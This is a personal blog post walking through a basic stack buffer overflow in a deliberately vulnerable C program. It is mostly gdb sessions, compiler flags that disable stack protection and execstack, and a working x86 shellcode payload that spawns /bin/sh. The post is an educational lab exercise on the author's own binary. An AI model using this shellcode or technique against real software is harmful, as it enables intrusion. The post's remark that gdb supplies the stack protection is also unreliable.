Encapsulating

Basic buffer overflows

I have the following source code which is susceptible to buffer overflow:

#include 
#include 

int main(int argc, char **argv)
{
   char buff[32];
   strcpy(buff, argv[1]);
   printf("%s\n", buff);

   return 0;
}

Let’s break at the strcpy function:

gdb$ i fu
All defined functions:

Non-debugging symbols:
0x00000000004003e0  _init
0x0000000000400410  strcpy@plt
0x0000000000400420  puts@plt
0x0000000000400430  __libc_start_main@plt
0x0000000000400440  __gmon_start__@plt
0x0000000000400450  _start
0x0000000000400480  deregister_tm_clones
0x00000000004004b0  register_tm_clones
0x00000000004004f0  __do_global_dtors_aux
0x0000000000400510  frame_dummy
0x0000000000400540  main
0x0000000000400580  __libc_csu_init
0x00000000004005f0  __libc_csu_fini
0x00000000004005f4  _fini
gdb$ b *0x0000000000400410
Breakpoint 1 at 0x400410
gdb$ run
Starting program: /home/user/c/test 1Àhn/shh//bi°
                                                 RQS
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x00007FFFFFFFE810  RBX: 0x0000000000000000  RBP: 0x00007FFFFFFFE830  RSP: 0x00007FFFFFFFE7F8  o d I t s z A p c 
  RDI: 0x00007FFFFFFFE810  RSI: 0x00007FFFFFFFEBF5  RDX: 0x00007FFFFFFFEBF5  RCX: 0x0000000000000000  RIP: 0x0000000000400410
  R8 : 0x00007FFFF7DD8C80  R9 : 0x00007FFFF7DEBD10  R10: 0x00007FFFFFFFE6C0  R11: 0x00007FFFF7A53AD0  R12: 0x0000000000400450
  R13: 0x00007FFFFFFFE910  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
-----------------------------------------------------------------------------------------------------------------------
Blah blah, 64-bit apps are tricky anyway, read on.

Now let’s step over and look at the stack where the buffer should be. \x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80 is the shell code we’re looking for:

It turns out buffer overflows in 64-bit applications can be quite difficult, as I discovered when I needed to strcpy with addresses like 0x00007FFFFFFFE7F8. See the problem? 0x00 is the string terminator, so in order to successfully overflow a 64 bit application, you need to do 2-3 strcpys (so the NULL terminators do the 0x00 stuff). Bleh, let’s compile the code as a 32-bit application instead:

gcc -m32 test.c -o test

Here is my shell code:

\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1
\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80ABCDEFGHIJKL\xa8\xd9\xff\xff\xe1\xdb\xff\xff

Okay, let’s run it:

0.08 0.05 0.02  user localhost ➜  c  gdb --args test `cat test_shell`
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /home/user/c/test...(no debugging symbols found)...done.
gdb$ run
Starting program: /home/user/c/test 1Àhn/shh//bi°
                                                 RQSABCDEFGHIJKL¨ÿÿÿ
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
1Àhn/shh//bi°
             RQSABCDEFGHIJKL¨ÿÿÿ

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 0x00000000  EBX: 0xF7FB5000  ECX: 0xFFFFFFFF  EDX: 0xF7FB6880  o d I t S z a P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xFFFFD9A8  ESP: 0xFFFFD9B0  EIP: 0xFFFFDBE1
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
--------------------------------------------------------------------------

=> 0xffffdbe1: xor eax,eax 0xffffdbe3: mov edx,eax 0xffffdbe5: push eax 0xffffdbe6: push 0x68732f6e 0xffffdbeb: push 0x69622f2f 0xffffdbf0: mov ebx,esp 0xffffdbf2: mov ecx,eax 0xffffdbf4: mov al,0xb -------------------------------------------------------------------------------- 0xffffdbe1 in ?? ()

Balls, I’m trying to get the CPU to execute code in the stack (which it doesn’t allow by default), so let’s fix that:

0.08 0.05 0.02  user localhost ➜  c  gcc -m32 test.c -o test -fno-stack-protector -z execstack
0.08 0.05 0.02  user localhost ➜  c  gdb --args test `cat test_shell`                         
GNU gdb (GDB) 7.6.1
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later 
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
...
Reading symbols from /home/user/c/test...(no debugging symbols found)...done.
gdb$ run
Starting program: /home/user/c/test 1Àhn/shh//bi°
                                                 RQSABCDEFGHIJKL¨ÿÿÿ
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
1Àhn/shh//bi°
             RQSABCDEFGHIJKL¨ÿÿÿ
process 6134 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
sh-4.2$

Sexy.

It’s annoying (good) that gdb has stack protection, because it makes this attack harder to pull off. I think if the binary had a call to /bin/sh (or similar) though it would be easier to break because this code would be executable and not in the stack. I’ll have to research that at some point..

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s